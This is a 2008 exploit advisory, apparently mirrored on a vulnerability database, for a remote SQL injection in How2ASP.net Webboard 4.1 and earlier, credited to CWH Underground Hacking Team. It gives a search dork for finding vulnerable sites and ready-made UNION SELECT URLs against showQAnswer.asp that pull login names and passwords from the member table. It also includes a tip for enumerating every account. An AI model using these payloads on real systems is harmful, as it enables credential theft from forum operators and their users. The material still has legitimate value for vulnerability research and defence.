How2ASP.net Webboard <= 4.1 Remote SQL Injection Vulnerability

🗓️ 18 May 2008 00:00:00Reported by RootType

How2ASP.net Webboard 4.1 Remote SQL Injection Vulnerability by CWH Underground Hacking Team on May 17, 200


                                                ==========================================================
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;How2ASP.net&nbsp;Webboard&nbsp;4.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
==========================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'

AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;17&nbsp;May&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citecclub.org


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;How2ASP.net&nbsp;Webboard&nbsp;&nbsp;&nbsp;
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;4.1&nbsp;&nbsp;&nbsp;#
&nbsp;VENDOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://howtoasp.net&nbsp;&nbsp;&nbsp;
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://howtoasp.net/dl/app/wb41/webboard41.zip
#####################################################


DORK:&nbsp;&quot;Powered&nbsp;by&nbsp;How2asp&quot;

---Exploit---

http://[target]/[path]/showQAnswer.asp?qNo=441%20union%20select%201,2,Login,4,5,Password,7,8,9,10,11,12,13,14%20from%20member%00

http://[target]/[path]/showQAnswer.asp?qNo=[SQL&nbsp;Statement]


---NOTE/TIP---

You&nbsp;must&nbsp;know&nbsp;what&nbsp;columns&nbsp;number&nbsp;that&nbsp;appear&nbsp;on&nbsp;pages,&nbsp;Insert&nbsp;username&nbsp;or&nbsp;password&nbsp;into&nbsp;columns&nbsp;number

You&nbsp;can&nbsp;enumerate&nbsp;all&nbsp;username&nbsp;and&nbsp;password&nbsp;use&nbsp;-&gt;&nbsp;

http://[target]/[path]/showQAnswer.asp?qNo=441%20union%20select%201,2,Login,4,5,Password,7,8,9,10,11,12,13,14%20from%20member
%20where%20Login%20not%20in%20('admin','test',....)%00

##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;Win7dos,&nbsp;JabAv0C&nbsp;&nbsp;&nbsp;#
##################################################################

18 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1

How2ASP.net Webboard &lt;= 4.1 Remote SQL Injection Vulnerability

How2ASP.net Webboard <= 4.1 Remote SQL Injection Vulnerability